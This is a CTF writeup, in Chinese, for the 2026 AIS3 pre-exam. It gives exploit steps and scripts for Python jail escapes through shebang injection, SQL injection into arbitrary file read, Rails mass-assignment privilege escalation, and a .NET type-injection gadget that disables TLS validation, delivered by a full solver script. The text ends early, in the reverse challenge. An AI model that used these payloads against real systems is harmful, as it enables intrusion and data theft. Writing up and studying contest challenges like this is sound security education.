2026 AIS3 pre-exam writeup

2026 AIS3 pre-exam writeup

先丟結果
image

Writeup

Welcome

Category: Welcome

題目敘述

欸six seven🗣️🗣️🔥🔥🔥

欸six seven🗣️🗣️🔥🔥🔥

six!six!seven🥰🥰

欸six seven🗣️🗣️🔥🔥🔥

阿公67↗️

阿公阿公67↘️↗️

阿公67↗️

阿公67↗️

阿公阿公67↘️↗️

阿公!!🥰🥰🥰

67!

阿公阿公67↘️↗️

six seven🗣️🗣️🔥🔥🔥

Scan the qrcode to get the flag!

https://ais32026scanme.pwn2ooown.tech/

Author: pwn2ooown + trianglesnake

解題過程

點進連結 會有一個Streming QRcode
用手機掃描會轉跳到以下連結
https://qrss.netlify.app/scan
接著用手機掃描一陣子 直到進度條跑滿
image
就會跳出這張照片

image

就照著上面打就好了

flag:

1
AIS3{Hello_LLM_welcome_to_pre_exam_2026!}

想在雪中來杯下午茶嗎?

Category: misc OSINT

題目敘述

雪,真美呀~可以找找這是哪裡嗎?

image

PS: 這張圖跟你要 OSINT 的無關,只是配圖,請看附件 :)

Flag Format: AIS3{緯度-經度} (For Example: AIS3{78.891-123.456},經緯度無條件捨去到小數點第三位)

Author: naup96321

附件內容

內包含一張平交道的照片
image

解題過程

其實點近來第一眼就看到這個禁止讓狗狗大便!的牌子
image

底下有寫是由豐鄉町架設的牌子
讓我們google一下 這是位於滋賀縣的某個小鄉鎮
image

接著讓我們看看平交道可能會出現的地方,這裡總共有兩個鐵路一條是東海道新幹線可以先排除(高架不會有平交道),再來就是近江鐵道湖東近江路線,然後沿著道路跟鐵道的交接處找,就可以找到
image

flag:

1
AIS3{35.193-136.226}

Jail

Category: Misc

題目敘述

(PY)-JAIL ? http://chals1.ais3.org:10001/

附件內容

題目提供一個網站連結。進入網站後,頁面會直接顯示 server side 的 Python 原始碼,沒有另外提供壓縮檔、執行檔或其他附件。

核心程式碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/local/bin/python3
import os
import uuid
from flask import Flask, request
app = Flask(__name__)

blacklist = "()_[]{}.@#"

@app.route("/", methods=["GET"])
def index():
return open(__file__, "r").read()

@app.route("/", methods=["POST"])
def submit():
uid = str(uuid.uuid4())
d = request.form["code"]
if any(c in blacklist for c in d):
return "Bad character detected >:("
shebang = '#!/usr/local/bin/python3'
open(f"data/{uid}","w").write(shebang + d)
os.system(f"chmod +x data/{uid}")
return os.popen(f"timeout 0.5 data/{uid}").read()

解題過程

1. 觀察網站原始碼

進入網站後,可以看到伺服器直接把自己的 Python 原始碼印出來。從程式碼中可以先注意到幾個重點:

  • 使用者輸入會從 request.form["code"] 取得
  • blacklist 擋掉了 ()_[]{}.@#
  • 使用者輸入不是直接丟進 exec(),而是被寫進一個新檔案
  • 檔案會被 chmod +x 後直接執行

關鍵程式碼在這裡:

1
2
3
4
shebang = '#!/usr/local/bin/python3'
open(f"data/{uid}","w").write(shebang + d)
os.system(f"chmod +x data/{uid}")
return os.popen(f"timeout 0.5 data/{uid}").read()

這邊最值得注意的是,shebang 後面沒有補換行,而是直接把使用者輸入 d 接上去。
所以這題的突破口不一定是傳統 Python jail 的語法繞過,而可能是利用 shebang 本身的行為。

2. 發現 shebang 可以被注入參數

原本的 shebang 是:

1
#!/usr/local/bin/python3

但因為程式沒有在後面加上換行,所以如果送出的 code 開頭是:

 -Wignorecoding:unicode-escape

實際寫出的檔案第一行就會變成:

1
#!/usr/local/bin/python3 -Wignorecoding:unicode-escape

這一行會同時產生兩個效果:

  • 作業系統執行檔案時,會把 -Wignorecoding:unicode-escape 當成 Python 啟動參數
  • Python 讀取 source code 時,第一行中的 coding:unicode-escape 也會被當成 encoding cookie

也就是說,第一行可以同時被當成 shebang option injection,以及 Python source encoding 宣告。

3. 利用 unicode-escape 繞過 blacklist

題目 blacklist 擋掉了這些字元:

1
()_[]{}.@#

如果直接寫:

1
print(open("/flag").read())

會因為包含 (、)、. 等字元而被擋下來。

但只要讓 Python 使用 unicode-escape 解析 source code,就可以用 \xNN 的形式表示被 ban 的符號。例如:

1
print\x28open\x28"/flag"\x29\x2eread\x28\x29\x29

Python 讀檔時會把它解碼成:

1
print(open("/flag").read())

其中幾個重要轉換如下:

  • \x28 會變成 (
  • \x29 會變成 )
  • \x2e 會變成 .

這裡也要注意,使用的是 unicode-escape,不是 unicode_escape,因為底線 _ 本身也在 blacklist 裡面。

4. 組出最終 payload

把前面的想法組合起來,送出的 code 內容如下:

1
2
 -Wignorecoding:unicode-escape
print\x28open\x28"/flag"\x29\x2eread\x28\x29\x29

伺服器實際寫出的檔案會變成:

1
2
#!/usr/local/bin/python3 -Wignorecoding:unicode-escape
print\x28open\x28"/flag"\x29\x2eread\x28\x29\x29

執行時,第一行會讓 Python 以 unicode-escape 解析檔案內容,因此第二行就會等價於:

1
print(open("/flag").read())

這樣就可以讀取 /flag 並印出結果。

5. 撰寫 exploit script

最後用 requests 對網站送出 POST request:

1
2
3
4
5
6
7
8
import requests

url = "http://chals1.ais3.org:10001/"
payload = """ -Wignorecoding:unicode-escape
print\\x28open\\x28"/flag"\\x29\\x2eread\\x28\\x29\\x29"""

r = requests.post(url, data={"code": payload})
print(r.text)

執行後,伺服器會建立並執行該 Python 檔案。由於 payload 成功繞過 blacklist,最後就能讀到 /flag 的內容。

Flag

1
AIS3{5H3_BA_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_NG!}

Jail Revenge

Category: Misc

題目敘述

你把我的 jail 弄壞了,我也要傷了你的什麼東東
http://chals1.ais3.org:10002/

附件內容

題目提供一個網站連結。進入網站後,頁面會直接顯示 server side 的 Python 原始碼,沒有另外提供壓縮檔、執行檔或其他附件。

核心程式碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#flag is at /flag

from flask import Flask,request,send_file
import os,time,uuid,unicodedata

app = Flask(__name__)

shebang = '#!/usr/local/bin/python3'

@app.route('/')
def index(): return send_file(__file__)

@app.post('/<uid>')
def run(uid):
uuid.UUID(uid)
d = unicodedata.normalize("NFKC", request.data.decode())
assert not any(i in d for i in "()_[]{}.@#") and len(d.split("\n")[0]) < 50
open(f"data/{uid}","w").write(shebang + d)
os.chmod(f"data/{uid}", 0o755)
os.popen(f"./data/{uid} > ./output/{uid}")
time.sleep(1)
r = open(f"output/{uid}","r").read()
return r

if __name__ == "__main__":
app.run("0.0.0.0",port=8000)

解題過程

1. 觀察 revenge 版的限制

打開網站後,可以看到伺服器直接把自己的 Python 原始碼顯示出來。和前一題 Jail 相比,這題多了一些限制:

  • blacklist 仍然擋 ()_[]{}.@#
  • 使用者輸入會先經過 unicodedata.normalize("NFKC", ...)
  • 第一行長度必須小於 50
  • 輸入來源改成 request.data.decode(),也就是讀 raw body
  • 程式仍然會把輸入接到 shebang 後面,再寫成檔案執行

關鍵程式碼如下:

1
2
3
d = unicodedata.normalize("NFKC", request.data.decode())
assert not any(i in d for i in "()_[]{}.@#") and len(d.split("\n")[0]) < 50
open(f"data/{uid}","w").write(shebang + d)

最後一點很重要,因為這題不是用 request.form 讀表單資料。
如果像一般表單那樣送資料,Flask 可能會先解析 body,導致 request.data 變成空字串,所以 exploit 時要直接送 raw body。

2. 確認 shebang 拼接漏洞仍然存在

雖然 revenge 版加上了 normalize 和長度限制,但真正的漏洞仍然在這行:

1
open(f"data/{uid}","w").write(shebang + d)

shebang 原本是:

1
#!/usr/local/bin/python3

但後面一樣沒有補換行,所以使用者輸入仍然可以直接接在 shebang 同一行。
如果送出的第一行是:

 -Wignorecoding:unicode-escape

伺服器實際寫出的第一行就會變成:

1
#!/usr/local/bin/python3 -Wignorecoding:unicode-escape

這行可以同時造成兩個效果:

  • 作業系統執行腳本時,會把 -Wignorecoding:unicode-escape 當成 Python 啟動參數
  • Python 讀取 source code 時,會看到 coding:unicode-escape,並把它當成 source encoding cookie

因此前一題用到的 shebang option injection 加上 source encoding cookie 的技巧,在這題仍然成立。

3. 檢查長度限制是否會擋住 payload

這題多了一個限制:

1
len(d.split("\n")[0]) < 50

我們要塞進第一行的內容是:

 -Wignorecoding:unicode-escape

這段長度只有 30,符合小於 50 的限制。
同時,-W 是合法的 Python CLI 選項,後面的 warning filter 雖然格式看起來不正常,但 Python 不會因此中止執行,而且字串中剛好包含 coding:unicode-escape。

也就是說,這段內容可以同時通過長度限制、當成 Python 啟動參數,並觸發 source encoding。

4. 用 unicode-escape 繞過 blacklist

題目 blacklist 擋掉這些字元:

1
()_[]{}.@#

所以不能直接寫:

1
print(open("/flag").read())

不過只要讓 Python 使用 unicode-escape 當 source encoding,就可以把被 ban 的符號改成 \xNN 的形式:

1
print\x28open\x28"/flag"\x29\x2eread\x28\x29\x29

Python 重新讀檔時,會把它解成:

1
print(open("/flag").read())

其中:

  • \x28 會變成 (
  • \x29 會變成 )
  • \x2e 會變成 .

這裡要使用 unicode-escape,不能寫成 unicode_escape,因為底線 _ 也在 blacklist 裡面。

5. 組出最終 payload

最後送出的 raw body 如下:

1
2
 -Wignorecoding:unicode-escape
print\x28open\x28"/flag"\x29\x2eread\x28\x29\x29

伺服器實際寫出的檔案會變成:

1
2
#!/usr/local/bin/python3 -Wignorecoding:unicode-escape
print\x28open\x28"/flag"\x29\x2eread\x28\x29\x29

當 Python 重新解析這份檔案時,第二行就會等價於:

1
print(open("/flag").read())

因此可以讀取 /flag 的內容並輸出。

6. 撰寫 exploit script

這題的重點是要送 raw body,而不是表單資料。使用 requests 時,可以明確指定 Content-Type: text/plain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import uuid
import requests

uid = str(uuid.uuid4())
url = f"http://chals1.ais3.org:10002/{uid}"
payload = """ -Wignorecoding:unicode-escape
print\\x28open\\x28"/flag"\\x29\\x2eread\\x28\\x29\\x29"""

r = requests.post(
url,
data=payload.encode(),
headers={"Content-Type": "text/plain"},
)
print(r.text)

實際回傳內容如下:

1
2
#!/bin/true
#AIS3{D3MN_21P_PYD0C_A5_-_-MA1N-_-_D07_PY}

可以看到 flag 被放在輸出中的註解行,因此整理出真正的 flag。

Flag

1
AIS3{D3MN_21P_PYD0C_A5_-_-MA1N-_-_D07_PY}

MyGO!!!!! X Ave Mujica 圖庫

Category: Web

題目敘述

我已經想不到要怎麼塞 MyGO 梗了,你來幫我塞

機器人禁止

author: ItisCaleb

http://chals1.ais3.org:48763/

附件內容

題目主要提供一個 Web 站台。進站後可以看到圖庫相關功能,包含讀取圖片與上傳圖片:

  • GET /image?id=...:依照圖片編號讀取圖片
  • POST /upload:上傳圖片

另外,網站的 robots.txt 中出現了以下內容:

1
.svn

這個線索表示站台目錄中可能殘留 Subversion 的工作目錄資訊。

解題過程

1. 觀察網站功能與 robots.txt

打開網站後,可以看到首頁前端會把圖片編號帶進 /image?id=${item} 來讀取圖片。

接著查看 robots.txt,內容只有一行:

1
.svn

這裡的 .svn 很值得注意,因為 Subversion 工作目錄裡通常會保存版本控管相關資訊,例如檔案路徑、checksum 等資料。如果這些檔案可以被讀取,就可能找到網站目錄內其他敏感檔案。

2. 測試 /image 的 id 參數

先測試 /image 的 id 參數是否會被直接放進 SQL 查詢:

1
2
curl --get --data-urlencode "id=1 OR 1=1" \
http://chals1.ais3.org:48763/image -o /tmp/test

這個請求可以正常回傳圖片,代表 id 很可能被直接拼進 SQL 字串中,因此可以往 SQL Injection 的方向測試。

接著使用 UNION SELECT 嘗試讓查詢結果變成任意檔案路徑:

1
2
curl --get --data-urlencode "id=-1 UNION SELECT 'app.py'" \
http://chals1.ais3.org:48763/image

請求成功後,網站直接回傳了 app.py 的內容,表示後端不是單純查圖片,而是把 SQL 查詢結果拿去當作檔案路徑讀取。

3. 確認原始碼中的漏洞

讀出 app.py 後,可以看到 /image 的關鍵邏輯:

1
2
3
4
5
@app.get("/image")
def image():
image_id = request.args.get("id")
cur = db.execute(f"SELECT path FROM images WHERE id = {image_id};").fetchone()
return send_file(cur[0])

問題點在於 image_id 被直接放進 f-string,沒有使用參數化查詢,所以可以注入 SQL。

同時,查詢結果 cur[0] 又會直接交給 send_file()。因此這個漏洞可以整理成:

  • id 參數存在 SQL Injection
  • UNION SELECT 可以控制查詢出來的檔案路徑
  • 後端會把該路徑交給 send_file(),形成任意檔案讀取

4. 讀取 .svn/wc.db

既然 robots.txt 提示了 .svn,下一步就是讀取 Subversion 的 working copy 資料庫:

1
2
curl --get --data-urlencode "id=-1 UNION SELECT '.svn/wc.db'" \
http://chals1.ais3.org:48763/image -o wc.db

下載到 wc.db 後,用 sqlite3 查看其中記錄的檔案資訊:

1
sqlite3 wc.db "select local_relpath, kind, checksum from NODES where op_depth=0 order by local_relpath;"

查詢結果中出現一個很可疑的檔名:

1
super_secret_starburst_flag114514.txt

這表示網站目錄裡很可能存在這個 flag 檔案。

5. 讀出 flag 檔案

最後利用前面確認的任意檔案讀取方式,直接把可疑檔案讀出來:

1
2
curl --get --data-urlencode "id=-1 UNION SELECT 'super_secret_starburst_flag114514.txt'" \
http://chals1.ais3.org:48763/image

成功取得 flag。整個流程的關鍵是先利用 SQL Injection 控制 send_file() 讀取的路徑,再透過 .svn/wc.db 找到真正的 flag 檔名。

Flag

1
AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8_and_I_don't_have_ticket}

Mass Rapid Transit

Category: Web

題目敘述

AIS 捷運公司(AIS Transit Corporation)官方資訊平台已上線,歡迎旅客註冊使用。
http://chals1.ais3.org:10003/

附件內容

題目主要提供一個 Web 站台。首頁看起來像 Rails 風格的捷運公司網站,功能包含:

  • 註冊帳號
  • 登入
  • 查看與修改個人資料
  • 失物招領
  • 管理後台

另外,網站的 robots.txt 有提示:

1
Disallow: /admin

這表示網站存在 /admin 管理頁面,但一般使用者正常情況下不應該能直接進入。

解題過程

1. 觀察網站功能與題目名稱

進入網站後,先註冊一個一般帳號並登入,可以看到登入後能進入 /profile 修改個人資料。

整理目前看到的重點:

  • robots.txt 提示有 /admin
  • 一般帳號登入後可以使用 /profile
  • /profile 有更新個人資料的表單
  • 題目名稱是 Mass Rapid Transit

其中題目名稱很明顯在暗示 Mass Assignment。因此可以優先懷疑:後端在更新使用者資料時,可能沒有正確限制哪些欄位可以被使用者修改。

2. 檢查 /profile 的更新請求

登入後打開 /profile,修改個人資料時可以看到請求大致會送出這類參數:

1
2
3
4
5
POST /profile
_method=patch
user[username]=...
user[email]=...
user[full_name]=...

這種 user[...] 的參數形式很像 Rails 常見的 nested parameter。如果後端直接把整包 user 參數拿去更新 User 物件,且沒有做 strong parameters 或欄位白名單,就可能讓一般使用者改到不該改的欄位。

3. 嘗試加入 role 欄位升權

接著在原本正常欄位之外,額外加入:

1
user[role]=admin

完整請求結構大致如下:

1
2
3
4
5
6
7
8
9
10
POST /profile
Host: chals1.ais3.org:10003
Content-Type: application/x-www-form-urlencoded

_method=patch&
authenticity_token=YOUR_TOKEN&
user[username]=YOUR_USERNAME&
user[email]=YOUR_EMAIL&
user[full_name]=YOUR_NAME&
user[role]=admin

送出後重新整理 /profile,可以看到帳號身分從原本的一般旅客變成管理員。

這代表後端更新 User 物件時,沒有正確限制可被 assign 的欄位,導致 role 可以被一般使用者直接覆蓋,也就是典型的 Mass Assignment 漏洞。

4. 進入管理後台取得 flag

升權成功後,再打開 robots.txt 提示的管理頁面:

1
/admin

這次就可以成功進入管理後台。進入後,在管理後台的內部公告區塊可以看到 flag。

整個利用重點可以簡化成:在 /profile 的更新請求中加入 user[role]=admin,讓自己的帳號被更新成管理員,接著存取 /admin 取得 flag。

Flag

1
AIS3{R41ls_4P1_M4ss_4ss1gnm3nt_2_AIS_4dm1n}

Give Me Flag

Category: Web

題目敘述

Free flag for you XDD

http://chals1.ais3.org:30000/

Author: Chumy

附件內容

題目提供一份 ASP.NET Core 8 Razor Pages 應用的附件,包含 Docker 設定與 publish 後的程式檔案。

比較重要的檔案如下:

  • Dockerfile
  • docker-compose.yml
  • publish/GiveMeFlag.dll
  • publish/Microsoft.Office.Server.Search.Connector.dll
  • 其他 Microsoft SharePoint / Ceres 相關 DLL

從 docker-compose.yml 可以看到幾個關鍵環境變數:

1
2
3
4
5
FLAG=AIS3{fake}
Challenge__Host=flag-dropbox.givemeflag.internal
Challenge__PostPath=/api/flag
Challenge__Port=443
Challenge__TimeoutSeconds=6

也就是說,服務會把 flag 送到:

1
https://<使用者輸入的 IP>/api/flag

而且 Host header 會被設定成 flag-dropbox.givemeflag.internal。

解題過程

1. 觀察服務功能

這個網站主要有兩個功能:

  • 首頁 /:輸入 IPv4 或 IPv6 位址,服務會向該 IP 的 port 443 發送 HTTPS POST
  • /Support:提供 component preview 功能,可以輸入 template 名稱預覽 UI 卡片

表面上首頁功能很直接,只要架一個 HTTPS collector,讓題目服務把 flag POST 過來即可。

但實際測試時,自簽憑證會造成 TLS 驗證失敗,所以單純架 HTTPS server 還不夠,必須想辦法讓題目服務接受我們的憑證。

2. 反編譯 GiveMeFlag.dll

使用 ilspycmd 反編譯 publish/GiveMeFlag.dll,可以先看到首頁送 flag 的邏輯。

在 FlagDeliveryService 中,服務會依照使用者輸入的 IP 建立 HTTPS endpoint:

1
2
3
4
Uri endpoint = new UriBuilder("https", targetIp.ToString(), -1)
{
Path = "/api/flag"
}.Uri;

接著建立 HttpWebRequest:

1
2
3
4
HttpWebRequest req = WebRequest.CreateHttp(endpoint);
req.Method = "POST";
req.Host = "flag-dropbox.givemeflag.internal";
req.ContentType = "application/json";

也就是說,實際連線目標會是:

1
https://<attacker-ip>/api/flag

但 HTTP Host header 會被覆寫成:

1
flag-dropbox.givemeflag.internal

POST body 則會包含 flag:

1
2
3
4
5
{
"flag": "<FLAG>",
"challenge": "GiveMeFlag",
"sent_at": "<UTC datetime>"
}

3. 確認 TLS 驗證問題

一開始嘗試架設 HTTPS collector 並提交自己的 IP,但會遇到憑證驗證錯誤。

如果憑證的 SAN 是 IP 位址,會出現類似錯誤:

1
AuthenticationException: RemoteCertificateNameMismatch, RemoteCertificateChainErrors

後來把憑證 SAN 改成 DNS:flag-dropbox.givemeflag.internal 後,錯誤變成:

1
AuthenticationException: UntrustedRoot

這代表名稱驗證已經通過,剩下的問題只是自簽憑證不被信任。

這裡可以推得一個重要行為:在這個情境下,.NET 8 的 HttpWebRequest 會用 req.Host 的值,也就是 flag-dropbox.givemeflag.internal 來做憑證名稱驗證,而不是用 URL 裡的 IP。

因此只要能繞過 UntrustedRoot,就可以讓服務成功連到我們的 collector。

4. 分析 /Support 的 Component Preview

接著看第二個功能 /Support。反編譯後可以看到它會用 PreviewComponentResolver 解析使用者輸入的 template。

關鍵邏輯大致如下:

1
2
3
4
5
6
Type type = Type.GetType(
descriptor.Metadata,
LoadFromApplicationDirectory,
null,
throwOnError: true
);

其中 template 如果包含 #,# 後面的字串會被當成 descriptor.Metadata,最後直接傳進 Type.GetType()。

格式類似:

1
#<FullTypeName>, <AssemblyName>

而 LoadFromApplicationDirectory 會從應用程式目錄載入對應的 DLL:

1
2
string path = Path.Combine(AppContext.BaseDirectory, assemblyName.Name + ".dll");
return AssemblyLoadContext.Default.LoadFromAssemblyPath(path);

解析出 type 後,程式會檢查它不是 abstract、不是 interface,且有 public 無參數建構子,最後使用:

1
Activator.CreateInstance(type)

這代表使用者可以指定 publish 目錄中已存在 DLL 裡的型別,讓服務建立該型別的 instance。雖然不能上傳任意 DLL,但可以利用現有 DLL 裡有副作用的型別作為 gadget。

5. 找到可以停用 TLS 驗證的 Gadget

在附件中的 Microsoft.Office.Server.Search.Connector.dll 裡,可以找到這個型別:

1
Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility

反編譯後可以看到它的 static constructor 會修改全域 TLS 驗證 callback:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class ExchangeSystemUtility : StructuredRepositorySystemUtility<ExchangeProxy>
{
private static bool ValidateCertificates(
object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors errors)
{
return true;
}

static ExchangeSystemUtility()
{
ServicePointManager.ServerCertificateValidationCallback =
(RemoteCertificateValidationCallback)Delegate.Combine(
ServicePointManager.ServerCertificateValidationCallback,
new RemoteCertificateValidationCallback(ValidateCertificates));
}
}

這個 gadget 很關鍵,原因是:

  • ValidateCertificates() 永遠回傳 true
  • static constructor 會把這個 callback 加到 ServicePointManager.ServerCertificateValidationCallback
  • 這個設定會影響同一個 ASP.NET Core process 裡後續的 HTTPS 請求
  • Activator.CreateInstance(type) 在建立 instance 前會先觸發 static constructor

所以只要透過 /Support 成功載入並建立 ExchangeSystemUtility,就可以讓整個 process 後續的 TLS 憑證驗證被停用。

6. 透過 Type Injection 觸發 Gadget

先對 /Support?handler=Preview 發送請求,讓它載入 ExchangeSystemUtility:

1
2
3
4
5
6
POST /Support?handler=Preview
Content-Type: application/x-www-form-urlencoded

__RequestVerificationToken=<CSRF>
Preview.Template=#Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility, Microsoft.Office.Server.Search.Connector
Preview.Accent=calm

如果成功,頁面會顯示該型別名稱,代表 Activator.CreateInstance() 已經執行,也代表 static constructor 已經被觸發。

這一步完成後,TLS 憑證驗證就會在同一個 server process 中被全域停用。

7. 架設 HTTPS Collector 並提交 IP

接著在自己的機器上架 HTTPS collector,port 需要是 443,憑證的 SAN 要包含 flag-dropbox.givemeflag.internal。

可以用以下指令產生自簽憑證:

1
2
3
4
5
openssl req -x509 -newkey rsa:2048 \
-keyout /tmp/key.pem -out /tmp/cert.pem \
-days 1 -nodes \
-subj "/CN=flag-dropbox.givemeflag.internal" \
-addext "subjectAltName=DNS:flag-dropbox.givemeflag.internal"

然後回到首頁提交 attacker IP:

1
2
3
4
5
POST /
Content-Type: application/x-www-form-urlencoded

__RequestVerificationToken=<CSRF>
Input.TargetIp=<ATTACKER_IP>

這一步必須和前面的 type injection 在同一個 server process 中完成,因為 ServicePointManager.ServerCertificateValidationCallback 是 process-wide 的狀態,不是永久寫入設定檔。

送出後,collector 會收到題目服務對 /api/flag 的 HTTPS POST,body 類似:

1
2
3
4
5
{
"flag": "AIS3{c_5h4rp_c0n57ruc70r_p0llu710n_02489026d2694a6da00a2cdda3a33d8b}",
"challenge": "GiveMeFlag",
"sent_at": "2026-05-18T06:51:31.744Z"
}

8. 使用 solve.py 自動化

最後整理出 exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
#!/usr/bin/env python3
"""
Give Me Flag — AIS3 CTF Solver
Two-step exploit:
1. Type injection on /Support to load ExchangeSystemUtility,
which disables TLS cert validation process-wide.
2. Submit attacker IP to flag delivery, receive flag via HTTPS POST.

Usage:
python3 solve.py --target http://<challenge>:8080 --lhost <your-IP>

Requirements:
pip install requests
openssl installed
Port 443 available (or run as root)
"""

import argparse
import json
import ssl
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

import requests

# ---------------------------------------------------------------------------
# Config
# ---------------------------------------------------------------------------
GADGET_TYPE = (
"Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility,"
" Microsoft.Office.Server.Search.Connector"
)
CERT_FILE = "/tmp/solve_cert.pem"
KEY_FILE = "/tmp/solve_key.pem"
HOSTNAME = "flag-dropbox.givemeflag.internal"
FLAG_PORT = 443
COLLECTOR_PATH = "/api/flag"

received_flag = None
flag_event = threading.Event()

# ---------------------------------------------------------------------------
# HTTPS Collector
# ---------------------------------------------------------------------------
class FlagHandler(BaseHTTPRequestHandler):
def log_message(self, *a): pass

def do_POST(self):
global received_flag
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length)
print(f"[collector] POST {self.path} from {self.client_address[0]}")
print(f"[collector] Body: {body.decode()}")
try:
data = json.loads(body)
if "flag" in data:
received_flag = data["flag"]
print(f"\n*** FLAG: {received_flag} ***\n")
flag_event.set()
except Exception:
pass
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(b'{"ok":true}')

do_GET = do_POST


def generate_cert(hostname, cert_file, key_file):
"""Generate self-signed cert with SAN DNS for the challenge Host header."""
import subprocess
subprocess.run(
[
"openssl", "req", "-x509", "-newkey", "rsa:2048",
"-keyout", key_file, "-out", cert_file,
"-days", "1", "-nodes",
"-subj", f"/CN={hostname}",
"-addext", f"subjectAltName=DNS:{hostname}",
],
check=True,
capture_output=True,
)
print(f"[*] Certificate generated: SAN DNS:{hostname}")


def start_collector(cert_file, key_file, port):
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(cert_file, key_file)
server = HTTPServer(("", port), FlagHandler)
server.socket = ctx.wrap_socket(server.socket, server_side=True)
t = threading.Thread(target=server.serve_forever, daemon=True)
t.start()
print(f"[*] HTTPS collector listening on :{port}")
return server


# ---------------------------------------------------------------------------
# Exploit helpers
# ---------------------------------------------------------------------------
def get_token_and_session(base_url, path="/"):
s = requests.Session()
s.verify = False
r = s.get(base_url + path)
import re
m = re.search(r'name="__RequestVerificationToken"\s+type="hidden"\s+value="([^"]+)"', r.text)
if not m:
raise RuntimeError("Could not find CSRF token")
return s, m.group(1)


def step1_disable_tls(base_url):
"""Load ExchangeSystemUtility to disable TLS cert validation."""
print("[*] Step 1: injecting ExchangeSystemUtility to disable TLS validation...")
s, token = get_token_and_session(base_url, "/Support")
r = s.post(
base_url + "/Support",
params={"handler": "Preview"},
data={
"__RequestVerificationToken": token,
"Preview.Template": f"#{GADGET_TYPE}",
"Preview.Accent": "calm",
},
)
import re
m = re.search(r'preview-card">\s*(.*?)\s*</div>', r.text, re.DOTALL)
result = m.group(1).strip() if m else "(no card text)"
if "ExchangeSystemUtility" in result:
print(f"[+] Type loaded: {result[:80]}")
print("[+] ServicePointManager.ServerCertificateValidationCallback = always true")
return True
elif "could not be previewed" in result or "cannot be created" in result:
print(f"[-] Type injection failed: {result}")
return False
else:
print(f"[?] Unexpected result: {result[:120]}")
return False


def step2_deliver_flag(base_url, lhost):
"""Submit our IP for flag delivery."""
print(f"[*] Step 2: submitting collector IP {lhost} for flag delivery...")
s, token = get_token_and_session(base_url, "/")
r = s.post(
base_url + "/",
data={
"__RequestVerificationToken": token,
"Input.TargetIp": lhost,
},
)
import re
m = re.search(r"<span>([^<]*POST[^<]*)</span>", r.text)
if m:
print(f"[+] Delivery result: {m.group(1)}")
elif "Flag submitted" in r.text:
print("[+] Flag submitted!")
elif "Delivery failed" in r.text:
print("[-] Delivery failed (TLS bypass may not have worked)")
else:
print(f"[?] Unexpected response (status {r.status_code})")


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
parser = argparse.ArgumentParser(description="Give Me Flag solver")
parser.add_argument("--target", default="http://127.0.0.1:8080",
help="Challenge base URL (default: http://127.0.0.1:8080)")
parser.add_argument("--lhost", default="172.19.0.1",
help="Your IP reachable from the challenge container")
parser.add_argument("--port", type=int, default=FLAG_PORT,
help=f"HTTPS collector port (default: {FLAG_PORT})")
parser.add_argument("--timeout", type=int, default=15,
help="Seconds to wait for flag (default: 15)")
args = parser.parse_args()

print(f"[*] Target: {args.target}")
print(f"[*] Collector: https://{args.lhost}:{args.port}{COLLECTOR_PATH}")

# Generate cert
generate_cert(HOSTNAME, CERT_FILE, KEY_FILE)

# Start collector
collector = start_collector(CERT_FILE, KEY_FILE, args.port)

# Step 1: disable TLS
if not step1_disable_tls(args.target):
print("[-] Aborting.")
sys.exit(1)

# Step 2: trigger delivery
step2_deliver_flag(args.target, args.lhost)

# Wait for flag
print(f"[*] Waiting up to {args.timeout}s for flag...")
if flag_event.wait(timeout=args.timeout):
print(f"\n[+] FLAG = {received_flag}")
else:
print("[-] Timed out waiting for flag.")
sys.exit(1)

collector.shutdown()


if __name__ == "__main__":
main()

整理成腳本後,利用流程就是先觸發 /Support 的 gadget,再提交 IP 等 collector 收到 flag。

使用方式如下:

1
python3 solve.py --target http://<challenge>:8080 --lhost <your-IP>

腳本會做幾件事:

  • 產生 SAN 為 flag-dropbox.givemeflag.internal 的自簽憑證
  • 在 port 443 啟動 HTTPS collector
  • 對 /Support?handler=Preview 注入 ExchangeSystemUtility
  • 對首頁提交 attacker IP
  • 從 collector 收到的 JSON 中印出 flag

Flag

1
AIS3{c_5h4rp_c0n57ruc70r_p0llu710n_02489026d2694a6da00a2cdda3a33d8b}

tetris,簡單

Category: Reverse

題目敘述

我知道你很會玩俄羅斯方塊的...能請你幫玩嗎?

image

Author: naup96321

附件內容

題目提供一個 Linux 執行檔 tetris。

執行後表面上是一個終端機版的俄羅斯方塊遊戲,但實際上 flag 並不是單純靠正常遊玩、累積分數或消除行數取得,而是藏在程式內部沒有被一般遊戲流程觸發的隱藏狀態中。

解題過程

1. 檢查檔案基本資訊

首先使用 file 檢查題目提供的執行檔:

1
file tetris

輸出結果如下:

1
tetris: ELF 64-bit LSB executable, x86-64, statically linked, stripped

從這裡可以看到幾個重點:

  • 這是一個 Linux x86-64 ELF 執行檔
